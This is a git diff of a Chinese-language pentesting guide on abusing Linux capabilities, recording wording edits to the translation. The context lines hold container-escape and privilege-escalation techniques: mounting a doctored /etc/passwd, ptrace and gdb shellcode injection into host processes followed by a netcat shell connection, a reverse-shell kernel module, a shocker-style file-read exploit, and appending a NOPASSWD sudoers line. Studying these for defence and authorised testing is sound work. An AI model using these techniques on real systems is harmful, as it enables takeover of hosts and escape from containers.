错误清楚地表明,ping命令不允许打开ICMP套接字。现在我们可以确定这按预期工作。
|
||||
|
||||
### 移除能力
|
||||
|
||||
@ -157,7 +157,7 @@ setcap -r </path/to/binary>
|
||||
## 用户能力
|
||||
|
||||
显然**也可以将能力分配给用户**。这可能意味着用户执行的每个进程都将能够使用用户的能力。\
|
||||
根据[这个](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7)、[这个](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)和[这个](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user),需要配置一些文件以赋予用户某些能力,但分配能力给每个用户的文件将是`/etc/security/capability.conf`。\
|
||||
根据[这个](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7)、[这个](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)和[这个](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user)的内容,需要配置一些文件以赋予用户某些能力,但分配能力给每个用户的文件将是`/etc/security/capability.conf`。\
|
||||
文件示例:
|
||||
```bash
|
||||
# Simple
|
||||
@ -174,7 +174,7 @@ cap_sys_admin,22,25 jrsysadmin
|
||||
```
|
||||
## Environment Capabilities
|
||||
|
||||
编译以下程序可以**在提供能力的环境中生成一个 bash shell**。
|
||||
编译以下程序可以**在提供能力的环境中生成一个bash shell**。
|
||||
```c:ambient.c
|
||||
/*
|
||||
* Test program for the ambient capabilities
|
||||
@ -276,15 +276,15 @@ capsh --print
|
||||
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 你只能**添加在允许和继承集合中都存在的能力**。
|
||||
> 你**只能添加在**允许和继承集合中**存在的能力**。
|
||||
|
||||
### 能力感知/能力无知的二进制文件
|
||||
|
||||
**能力感知的二进制文件不会使用环境中赋予的新能力**,然而**能力无知的二进制文件会使用**这些能力,因为它们不会拒绝它们。这使得能力无知的二进制文件在一个授予二进制文件能力的特殊环境中变得脆弱。
|
||||
**能力感知的二进制文件不会使用环境中提供的新能力**,然而**能力无知的二进制文件会使用它们**,因为它们不会拒绝这些能力。这使得能力无知的二进制文件在一个授予二进制文件能力的特殊环境中变得脆弱。
|
||||
|
||||
## 服务能力
|
||||
|
||||
默认情况下,**以 root 身份运行的服务将被分配所有能力**,在某些情况下这可能是危险的。\
|
||||
默认情况下,**以root身份运行的服务将被分配所有能力**,在某些情况下这可能是危险的。\
|
||||
因此,**服务配置**文件允许**指定**你希望它拥有的**能力**,**以及**应该执行该服务的**用户**,以避免以不必要的权限运行服务:
|
||||
```bash
|
||||
[Service]
|
||||
@ -293,7 +293,7 @@ AmbientCapabilities=CAP_NET_BIND_SERVICE
|
||||
```
|
||||
## Docker 容器中的能力
|
||||
|
||||
默认情况下,Docker 会为容器分配一些能力。通过运行以下命令,可以很容易地检查这些能力:
|
||||
默认情况下,Docker 为容器分配了一些能力。通过运行以下命令,可以很容易地检查这些能力:
|
||||
```bash
|
||||
docker run --rm -it r.j3ss.co/amicontained bash
|
||||
Capabilities:
|
||||
@ -310,7 +310,7 @@ docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained
|
||||
```
|
||||
## Privesc/Container Escape
|
||||
|
||||
能力在你**想要在执行特权操作后限制自己的进程**时非常有用(例如,在设置 chroot 和绑定到套接字后)。然而,它们可以通过传递恶意命令或参数来被利用,这些命令或参数随后以 root 身份运行。
|
||||
Capabilities 在你 **想要在执行特权操作后限制自己的进程**(例如,在设置 chroot 和绑定到套接字后)时非常有用。然而,它们可以通过传递恶意命令或参数来被利用,这些命令或参数随后以 root 身份运行。
|
||||
|
||||
你可以使用 `setcap` 强制程序获得能力,并使用 `getcap` 查询这些能力:
|
||||
```bash
|
||||
@ -355,7 +355,7 @@ getcap /usr/sbin/tcpdump
|
||||
|
||||
## CAP_SYS_ADMIN
|
||||
|
||||
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** 是一种非常强大的Linux能力,通常被视为接近root级别,因为它具有广泛的**管理权限**,例如挂载设备或操纵内核特性。虽然对于模拟整个系统的容器来说是不可或缺的,但**`CAP_SYS_ADMIN` 带来了重大的安全挑战**,尤其是在容器化环境中,因为它可能导致特权提升和系统妥协。因此,其使用需要严格的安全评估和谨慎管理,强烈建议在特定应用的容器中放弃此能力,以遵循**最小权限原则**并最小化攻击面。
|
||||
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** 是一种非常强大的Linux能力,通常被视为接近root级别,因为它具有广泛的**管理权限**,例如挂载设备或操纵内核特性。虽然在模拟整个系统的容器中不可或缺,但**`CAP_SYS_ADMIN` 带来了重大的安全挑战**,特别是在容器化环境中,因为它可能导致特权提升和系统妥协。因此,其使用需要严格的安全评估和谨慎管理,强烈建议在特定应用的容器中放弃此能力,以遵循**最小特权原则**并最小化攻击面。
|
||||
|
||||
**带有二进制文件的示例**
|
||||
```bash
|
||||
@ -368,7 +368,7 @@ cp /etc/passwd ./ #Create a copy of the passwd file
|
||||
openssl passwd -1 -salt abc password #Get hash of "password"
|
||||
vim ./passwd #Change roots passwords of the fake passwd file
|
||||
```
|
||||
最后**挂载**修改过的 `passwd` 文件到 `/etc/passwd`:
|
||||
最后**挂载**修改后的 `passwd` 文件到 `/etc/passwd`:
|
||||
```python
|
||||
from ctypes import *
|
||||
libc = CDLL("libc.so.6")
|
||||
@ -416,8 +416,8 @@ chroot ./ bash #You have a shell inside the docker hosts disk
|
||||
```
|
||||
- **完全访问**
|
||||
|
||||
在前一种方法中,我们成功访问了docker主机磁盘。\
|
||||
如果您发现主机正在运行**ssh**服务器,您可以**在docker主机**磁盘中创建一个用户并通过SSH访问它:
|
||||
在之前的方法中,我们成功访问了docker主机磁盘。\
|
||||
如果您发现主机正在运行**ssh**服务器,您可以**在docker主机**磁盘中创建一个用户,并通过SSH访问它:
|
||||
```bash
|
||||
#Like in the example before, the first step is to mount the docker host disk
|
||||
fdisk -l
|
||||
@ -433,9 +433,9 @@ ssh john@172.17.0.1 -p 2222
|
||||
```
|
||||
## CAP_SYS_PTRACE
|
||||
|
||||
**这意味着您可以通过在主机内部某个进程中注入 shellcode 来逃离容器。** 要访问在主机内部运行的进程,容器需要至少以 **`--pid=host`** 运行。
|
||||
**这意味着您可以通过在主机上运行的某个进程中注入 shellcode 来逃离容器。** 要访问主机上运行的进程,容器需要至少以 **`--pid=host`** 运行。
|
||||
|
||||
**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** 授予使用 `ptrace(2)` 提供的调试和系统调用跟踪功能的能力,以及像 `process_vm_readv(2)` 和 `process_vm_writev(2)` 这样的跨内存附加调用。尽管对于诊断和监控目的非常强大,但如果在没有像 seccomp 过滤器这样的限制措施的情况下启用 `CAP_SYS_PTRACE`,可能会显著削弱系统安全性。具体来说,它可以被利用来规避其他安全限制,特别是 seccomp 强加的限制,正如 [这样的概念证明 (PoC)](https://gist.github.com/thejh/8346f47e359adecd1d53) 所示。
|
||||
**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** 授予使用 `ptrace(2)` 提供的调试和系统调用跟踪功能的能力,以及像 `process_vm_readv(2)` 和 `process_vm_writev(2)` 这样的跨内存附加调用。尽管对于诊断和监控目的非常强大,但如果在没有像 seccomp 过滤器这样的限制措施的情况下启用 `CAP_SYS_PTRACE`,可能会显著削弱系统安全性。具体来说,它可以被利用来规避其他安全限制,特别是 seccomp 强加的限制,正如 [这样的概念验证 (PoC)](https://gist.github.com/thejh/8346f47e359adecd1d53) 所示。
|
||||
|
||||
**使用二进制文件的示例 (python)**
|
||||
```bash
|
||||
@ -531,7 +531,7 @@ libc.ptrace(PTRACE_DETACH, pid, None, None)
|
||||
```
|
||||
**使用二进制的示例 (gdb)**
|
||||
|
||||
`gdb` 与 `ptrace` 能力:
|
||||
`gdb` 与 `ptrace` 能力:
|
||||
```
|
||||
/usr/bin/gdb = cap_sys_ptrace+ep
|
||||
```
|
||||
@ -559,7 +559,7 @@ chunks += f"{byte:02x}"
|
||||
|
||||
print(f"set {{long}}($rip+{i}) = {chunks}")
|
||||
```
|
||||
调试一个 root 进程使用 gdb,并复制粘贴之前生成的 gdb 行:
|
||||
调试一个 root 进程使用 gdb 并复制粘贴之前生成的 gdb 行:
|
||||
```bash
|
||||
# Let's write the commands to a file
|
||||
echo 'set {long}($rip+0) = 0x296a909090909090
|
||||
@ -582,9 +582,9 @@ Continuing.
|
||||
process 207009 is executing new program: /usr/bin/dash
|
||||
[...]
|
||||
```
|
||||
**示例与环境(Docker 突破) - 另一个 gdb 滥用**
|
||||
**带环境的示例(Docker 突破) - 另一个 gdb 滥用**
|
||||
|
||||
如果 **GDB** 已安装(或者你可以通过 `apk add gdb` 或 `apt install gdb` 安装它,例如),你可以 **从主机调试一个进程** 并使其调用 `system` 函数。(此技术还需要能力 `SYS_ADMIN`)**。**
|
||||
如果 **GDB** 已安装(或者你可以通过 `apk add gdb` 或 `apt install gdb` 等安装它),你可以 **从主机调试一个进程** 并使其调用 `system` 函数。(此技术还需要能力 `SYS_ADMIN`)**。**
|
||||
```bash
|
||||
gdb -p 1234
|
||||
(gdb) call (void)system("ls")
|
||||
@ -596,7 +596,7 @@ gdb -p 1234
|
||||
> [!WARNING]
|
||||
> 如果您收到错误 "No symbol "system" in current context.",请检查通过 gdb 在程序中加载 shellcode 的前一个示例。
|
||||
|
||||
**带环境的示例(Docker 突破) - Shellcode 注入**
|
||||
**带环境的示例(Docker 逃逸) - Shellcode 注入**
|
||||
|
||||
您可以使用以下命令检查 docker 容器内启用的能力:
|
||||
```bash
|
||||
@ -614,17 +614,17 @@ groups=0(root
|
||||
列出 **主机** 中运行的 **进程** `ps -eaf`
|
||||
|
||||
1. 获取 **架构** `uname -m`
|
||||
2. 查找适合该架构的 **shellcode** ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
|
||||
3. 查找一个 **程序** 来 **注入** **shellcode** 到进程内存中 ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c))
|
||||
2. 查找适用于该架构的 **shellcode** ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
|
||||
3. 查找一个 **程序** 将 **shellcode** 注入到进程内存中 ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c))
|
||||
4. **修改** 程序中的 **shellcode** 并 **编译** 它 `gcc inject.c -o inject`
|
||||
5. **注入** 并获取你的 **shell**: `./inject 299; nc 172.17.0.1 5600`
|
||||
|
||||
## CAP_SYS_MODULE
|
||||
|
||||
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** 使进程能够 **加载和卸载内核模块(`init_module(2)`、`finit_module(2)` 和 `delete_module(2)` 系统调用)**,提供对内核核心操作的直接访问。此能力带来了严重的安全风险,因为它允许特权升级和完全系统妥协,通过允许对内核的修改,从而绕过所有 Linux 安全机制,包括 Linux 安全模块和容器隔离。
|
||||
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** 使进程能够 **加载和卸载内核模块 (`init_module(2)`、`finit_module(2)` 和 `delete_module(2)` 系统调用)**,提供对内核核心操作的直接访问。此能力带来了严重的安全风险,因为它允许特权升级和完全系统妥协,通过允许对内核的修改,从而绕过所有 Linux 安全机制,包括 Linux 安全模块和容器隔离。
|
||||
**这意味着你可以** **在主机的内核中插入/移除内核模块。**
|
||||
|
||||
**带二进制文件的示例**
|
||||
**带有二进制文件的示例**
|
||||
|
||||
在以下示例中,二进制文件 **`python`** 拥有此能力。
|
||||
```bash
|
||||
@ -637,7 +637,7 @@ getcap -r / 2>/dev/null
|
||||
mkdir lib/modules -p
|
||||
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)
|
||||
```
|
||||
然后**编译内核模块,您可以在下面找到 2 个示例,并将其复制**到此文件夹:
|
||||
然后**编译内核模块,您可以在下面找到两个示例,并将其复制**到此文件夹:
|
||||
```bash
|
||||
cp reverse-shell.ko lib/modules/$(uname -r)/
|
||||
```
|
||||
@ -648,7 +648,7 @@ km = kmod.Kmod()
|
||||
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
|
||||
km.modprobe("reverse-shell")
|
||||
```
|
||||
**示例 2:使用二进制文件**
|
||||
**示例 2:带二进制文件**
|
||||
|
||||
在以下示例中,二进制文件 **`kmod`** 具有此能力。
|
||||
```bash
|
||||
@ -674,7 +674,7 @@ groups=0(root)
|
||||
```
|
||||
在之前的输出中,您可以看到 **SYS_MODULE** 权限已启用。
|
||||
|
||||
**创建** 将要执行反向 shell 的 **内核模块** 以及 **Makefile** 以 **编译** 它:
|
||||
**创建** 将执行反向 shell 的 **内核模块** 和 **Makefile** 以 **编译** 它:
|
||||
```c:reverse-shell.c
|
||||
#include <linux/kmod.h>
|
||||
#include <linux/module.h>
|
||||
@ -712,8 +712,8 @@ make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
|
||||
> Makefile 中每个 make 单词前的空白字符 **必须是制表符,而不是空格**!
|
||||
|
||||
执行 `make` 进行编译。
|
||||
```
|
||||
ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
|
||||
```bash
|
||||
Make[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
|
||||
|
||||
sudo apt update
|
||||
sudo apt full-upgrade
|
||||
@ -732,7 +732,7 @@ insmod reverse-shell.ko #Launch the reverse shell
|
||||
|
||||
## CAP_DAC_READ_SEARCH
|
||||
|
||||
[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 使进程能够 **绕过读取文件和读取及执行目录的权限**。它的主要用途是用于文件搜索或读取。然而,它还允许进程使用 `open_by_handle_at(2)` 函数,该函数可以访问任何文件,包括那些在进程的挂载命名空间之外的文件。在 `open_by_handle_at(2)` 中使用的句柄应该是通过 `name_to_handle_at(2)` 获得的非透明标识符,但它可以包含易受篡改的敏感信息,如 inode 号。该能力的潜在利用,特别是在 Docker 容器的上下文中,已被 Sebastian Krahmer 通过 shocker 漏洞演示,如 [这里](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) 分析的那样。
|
||||
[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 使进程能够 **绕过读取文件和读取及执行目录的权限**。它的主要用途是用于文件搜索或读取。然而,它还允许进程使用 `open_by_handle_at(2)` 函数,该函数可以访问任何文件,包括那些在进程的挂载命名空间之外的文件。在 `open_by_handle_at(2)` 中使用的句柄应该是通过 `name_to_handle_at(2)` 获得的非透明标识符,但它可以包含易受篡改的敏感信息,如 inode 号。Sebastian Krahmer 通过 shocker 漏洞展示了这种能力的潜在利用,特别是在 Docker 容器的上下文中,分析见 [这里](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3)。
|
||||
**这意味着您可以** **绕过文件读取权限检查和目录读取/执行权限检查。**
|
||||
|
||||
**带有二进制文件的示例**
|
||||
@ -744,7 +744,7 @@ tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
|
||||
cd /tmp
|
||||
tar -cxf shadow.tar.gz
|
||||
```
|
||||
**使用 binary2 的示例**
|
||||
**Example with binary2**
|
||||
|
||||
在这种情况下,假设 **`python`** 二进制文件具有此能力。为了列出根文件,您可以执行:
|
||||
```python
|
||||
@ -757,9 +757,9 @@ print(filename)
|
||||
```python
|
||||
print(open("/etc/shadow", "r").read())
|
||||
```
|
||||
**在环境中的示例(Docker 突破)**
|
||||
**示例环境(Docker突破)**
|
||||
|
||||
您可以使用以下命令检查 Docker 容器内启用的能力:
|
||||
您可以使用以下命令检查Docker容器内启用的能力:
|
||||
```
|
||||
capsh --print
|
||||
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
|
||||
@ -774,7 +774,7 @@ groups=0(root)
|
||||
```
|
||||
在之前的输出中,您可以看到 **DAC_READ_SEARCH** 权限已启用。因此,容器可以 **调试进程**。
|
||||
|
||||
您可以在 [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) 学习以下利用的工作原理,但简而言之,**CAP_DAC_READ_SEARCH** 不仅允许我们在没有权限检查的情况下遍历文件系统,还明确移除了对 _**open_by_handle_at(2)**_ 的任何检查,并且 **可能允许我们的进程访问其他进程打开的敏感文件**。
|
||||
您可以在 [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) 学习以下利用是如何工作的,但简而言之,**CAP_DAC_READ_SEARCH** 不仅允许我们在没有权限检查的情况下遍历文件系统,还明确移除了对 _**open_by_handle_at(2)**_ 的任何检查,并且 **可能允许我们的进程访问其他进程打开的敏感文件**。
|
||||
|
||||
滥用此权限从主机读取文件的原始利用可以在这里找到:[http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c),以下是一个 **修改版本,允许您将要读取的文件作为第一个参数指示,并将其转储到文件中。**
|
||||
```c
|
||||
@ -927,21 +927,21 @@ return 0;
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> 利用程序需要找到指向主机上某个挂载内容的指针。原始利用程序使用文件 /.dockerinit,而这个修改版本使用 /etc/hostname。如果利用程序不起作用,您可能需要设置不同的文件。要找到在主机上挂载的文件,只需执行 mount 命令:
|
||||
> 利用程序需要找到指向主机上某个挂载内容的指针。原始利用程序使用文件 /.dockerinit,而这个修改版本使用 /etc/hostname。如果利用程序无法工作,您可能需要设置不同的文件。要找到在主机上挂载的文件,只需执行 mount 命令:
|
||||
|
||||
 (1).png>)
|
||||
|
||||
**此技术的代码来自于“滥用 DAC_READ_SEARCH 能力”的实验室** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
|
||||
**该技术的代码来自于“滥用 DAC_READ_SEARCH 能力”的实验室** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
|
||||
|
||||
## CAP_DAC_OVERRIDE
|
||||
|
||||
**这意味着您可以绕过对任何文件的写入权限检查,因此您可以写入任何文件。**
|
||||
**这意味着您可以绕过任何文件的写权限检查,因此您可以写入任何文件。**
|
||||
|
||||
有很多文件您可以 **覆盖以提升权限,** [**您可以从这里获取想法**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges)。
|
||||
有很多文件您可以 **覆盖以提升权限,** [**您可以从这里获取灵感**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges)。
|
||||
|
||||
**带有二进制文件的示例**
|
||||
**使用二进制文件的示例**
|
||||
|
||||
在此示例中,vim 具有此能力,因此您可以修改任何文件,如 _passwd_、_sudoers_ 或 _shadow_:
|
||||
在这个示例中,vim 具有此能力,因此您可以修改任何文件,如 _passwd_、_sudoers_ 或 _shadow_:
|
||||
```bash
|
||||
getcap -r / 2>/dev/null
|
||||
/usr/bin/vim = cap_dac_override+ep
|
||||
@ -956,9 +956,9 @@ file=open("/etc/sudoers","a")
|
||||
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
|
||||
file.close()
|
||||
```
|
||||
**示例:环境 + CAP_DAC_READ_SEARCH(Docker 逃逸)**
|
||||
**示例:环境 + CAP_DAC_READ_SEARCH(Docker突破)**
|
||||
|
||||
您可以使用以下命令检查 Docker 容器内启用的能力:
|
||||
您可以使用以下命令检查Docker容器内启用的能力:
|
||||
```bash
|
||||
capsh --print
|
||||
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
|
||||
@ -1164,11 +1164,11 @@ os.system("/bin/bash")
|
||||
|
||||
**这意味着可以设置创建进程的有效组 ID。**
|
||||
|
||||
有很多文件可以 **覆盖以提升权限,** [**你可以从这里获取灵感**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges)。
|
||||
有很多文件可以**覆盖以提升权限,** [**你可以从这里获取灵感**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges)。
|
||||
|
||||
**与二进制文件的示例**
|
||||
**二进制文件示例**
|
||||
|
||||
在这种情况下,您应该寻找组可以读取的有趣文件,因为您可以冒充任何组:
|
||||
在这种情况下,你应该寻找组可以读取的有趣文件,因为你可以冒充任何组:
|
||||
```bash
|
||||
#Find every file writable by a group
|
||||
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
|
||||
@ -1177,7 +1177,7 @@ find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
|
||||
#Find every file readable by a group in /etc with a maxpath of 1
|
||||
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
|
||||
```
|
||||
一旦你找到一个可以滥用的文件(通过读取或写入)以提升权限,你可以**获取一个模拟有趣组的 shell**,使用:
|
||||
一旦你找到一个可以滥用的文件(通过读取或写入)以提升权限,你可以通过以下方式**获取一个模拟有趣组的 shell**:
|
||||
```python
|
||||
import os
|
||||
os.setgid(42)
|
||||
@ -1223,13 +1223,13 @@ print (cap + " was successfully added to " + path)
|
||||
python setcapability.py /usr/bin/python2.7
|
||||
```
|
||||
> [!WARNING]
|
||||
> 注意,如果您使用 CAP_SETFCAP 为二进制文件设置了新能力,您将失去此能力。
|
||||
> 注意,如果您使用 CAP_SETFCAP 为二进制文件设置了新的能力,您将失去此能力。
|
||||
|
||||
一旦您拥有 [SETUID capability](linux-capabilities.md#cap_setuid),您可以查看其部分以了解如何提升权限。
|
||||
|
||||
**环境示例(Docker 突破)**
|
||||
**带环境的示例(Docker 突破)**
|
||||
|
||||
默认情况下,能力 **CAP_SETFCAP 被赋予 Docker 容器内的进程**。您可以通过执行以下操作来检查:
|
||||
默认情况下,能力 **CAP_SETFCAP 被授予 Docker 容器内的进程**。您可以通过执行以下操作来检查:
|
||||
```bash
|
||||
cat /proc/`pidof bash`/status | grep Cap
|
||||
CapInh: 00000000a80425fb
|
||||
@ -1241,7 +1241,7 @@ CapAmb: 0000000000000000
|
||||
capsh --decode=00000000a80425fb
|
||||
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||||
```
|
||||
这个能力允许**将任何其他能力赋予二进制文件**,因此我们可以考虑**利用本页提到的其他能力突破**来**逃脱**容器。\
|
||||
这个能力允许**将任何其他能力赋予二进制文件**,因此我们可以考虑**利用本页提到的其他能力突破**来**逃逸**容器。\
|
||||
然而,如果你尝试例如将能力 CAP_SYS_ADMIN 和 CAP_SYS_PTRACE 赋予 gdb 二进制文件,你会发现你可以赋予它们,但**二进制文件在此之后将无法执行**:
|
||||
```bash
|
||||
getcap /usr/bin/gdb
|
||||
@ -1252,10 +1252,10 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
|
||||
/usr/bin/gdb
|
||||
bash: /usr/bin/gdb: Operation not permitted
|
||||
```
|
||||
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: 这是一个**有效能力的限制超集**,线程可以假定它。它也是一个限制超集,线程可以将其添加到可继承集合的能力,前提是该线程在其有效集合中**没有 CAP_SETPCAP** 能力。_\
|
||||
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: 这是一个**有效能力的限制超集**,线程可以假设它。它也是一个限制超集,线程可以将其添加到可继承集合的能力,前提是该线程在其有效集合中**没有 CAP_SETPCAP** 能力。_\
|
||||
看起来 Permitted 能力限制了可以使用的能力。\
|
||||
然而,Docker 默认也授予 **CAP_SETPCAP**,因此您可能能够**在可继承的能力中设置新能力**。\
|
||||
然而,在该能力的文档中:_CAP_SETPCAP : \[…] **将调用线程的边界** 集中的任何能力添加到其可继承集合。_\
|
||||
然而,在该能力的文档中:_CAP_SETPCAP : \[…] **将调用线程的边界** 集合中的任何能力添加到其可继承集合。_\
|
||||
看起来我们只能将边界集合中的能力添加到可继承集合。这意味着**我们不能将新能力如 CAP_SYS_ADMIN 或 CAP_SYS_PTRACE 放入继承集合以提升权限**。
|
||||
|
||||
## CAP_SYS_RAWIO
|
||||
@ -1280,7 +1280,7 @@ os.killpg(pgid, signal.SIGKILL)
|
||||
```
|
||||
**使用 kill 提权**
|
||||
|
||||
如果你拥有 kill 权限,并且有一个 **以 root 身份运行的 node 程序**(或以其他用户身份运行),你可以 **发送** 给它 **信号 SIGUSR1**,使其 **打开 node 调试器**,以便你可以连接。
|
||||
如果你拥有 kill 权限,并且有一个 **以 root 身份运行的 node 程序**(或以其他用户身份运行),你可以可能 **发送** 给它 **信号 SIGUSR1**,使其 **打开 node 调试器**,以便你可以连接。
|
||||
```bash
|
||||
kill -s SIGUSR1 <nodejs-ps>
|
||||
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
||||
@ -1289,7 +1289,6 @@ kill -s SIGUSR1 <nodejs-ps>
|
||||
electron-cef-chromium-debugger-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## CAP_NET_BIND_SERVICE
|
||||
|
||||
**这意味着可以在任何端口上监听(甚至是特权端口)。** 你不能直接通过这个能力提升特权。
|
||||
@ -1324,7 +1323,7 @@ s.connect(('10.10.10.10',500))
|
||||
|
||||
## CAP_NET_RAW
|
||||
|
||||
[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 能力允许进程 **创建 RAW 和 PACKET 套接字**,使它们能够生成和发送任意网络数据包。这可能导致容器化环境中的安全风险,例如数据包欺骗、流量注入和绕过网络访问控制。恶意行为者可能利用这一点干扰容器路由或危害主机网络安全,尤其是在没有足够防火墙保护的情况下。此外,**CAP_NET_RAW** 对于特权容器支持通过 RAW ICMP 请求进行 ping 操作至关重要。
|
||||
[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 能力允许进程 **创建 RAW 和 PACKET 套接字**,使它们能够生成和发送任意网络数据包。这可能导致容器化环境中的安全风险,例如数据包欺骗、流量注入和绕过网络访问控制。恶意行为者可能利用这一点干扰容器路由或危害主机网络安全,尤其是在没有足够防火墙保护的情况下。此外,**CAP_NET_RAW** 对于特权容器支持通过 RAW ICMP 请求进行的操作(如 ping)至关重要。
|
||||
|
||||
**这意味着可以嗅探流量。** 你不能直接通过这个能力提升权限。
|
||||
|
||||
@ -1335,11 +1334,11 @@ s.connect(('10.10.10.10',500))
|
||||
getcap -r / 2>/dev/null
|
||||
/usr/sbin/tcpdump = cap_net_raw+ep
|
||||
```
|
||||
请注意,如果**环境**提供了此能力,您也可以使用**`tcpdump`**来嗅探流量。
|
||||
注意,如果**环境**提供了这个能力,你也可以使用**`tcpdump`**来嗅探流量。
|
||||
|
||||
**使用二进制 2 的示例**
|
||||
|
||||
以下示例是**`python2`**代码,可用于拦截“**lo**”(**localhost**)接口的流量。该代码来自实验“_基础知识:CAP-NET_BIND + NET_RAW_” [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)
|
||||
以下示例是**`python2`**代码,可以用于拦截"**lo**"(**localhost**)接口的流量。该代码来自实验"_基础知识:CAP-NET_BIND + NET_RAW_",来自[https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)
|
||||
```python
|
||||
import socket
|
||||
import struct
|
||||
@ -1389,7 +1388,7 @@ count=count+1
|
||||
|
||||
**带二进制的示例**
|
||||
|
||||
假设 **python 二进制文件** 拥有这些能力。
|
||||
假设 **python 二进制文件** 具有这些能力。
|
||||
```python
|
||||
#Dump iptables filter table rules
|
||||
import iptc
|
||||
@ -1407,7 +1406,7 @@ iptc.easy.flush_table('filter')
|
||||
|
||||
**带有二进制的示例**
|
||||
|
||||
如果你发现一个文件是不可变的,并且 python 拥有这个能力,你可以 **移除不可变属性并使文件可修改:**
|
||||
如果你发现一个文件是不可变的,并且 python 具有这个能力,你可以 **移除不可变属性并使文件可修改:**
|
||||
```python
|
||||
#Check that the file is imutable
|
||||
lsattr file.sh
|
||||
@ -1430,7 +1429,7 @@ fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)
|
||||
f=open("/path/to/file.sh",'a+')
|
||||
f.write('New content for the file\n')
|
||||
```
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> 注意,通常这个不可变属性是通过以下命令设置和移除的:
|
||||
>
|
||||
> ```bash
|
||||
@ -1447,11 +1446,11 @@ f.write('New content for the file\n')
|
||||
|
||||
## CAP_SYS_BOOT
|
||||
|
||||
[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 不仅允许执行 `reboot(2)` 系统调用以重启系统,包括针对特定硬件平台的特定命令如 `LINUX_REBOOT_CMD_RESTART2`,还允许使用 `kexec_load(2)`,并且从 Linux 3.17 开始,允许使用 `kexec_file_load(2)` 来加载新的或签名的崩溃内核。
|
||||
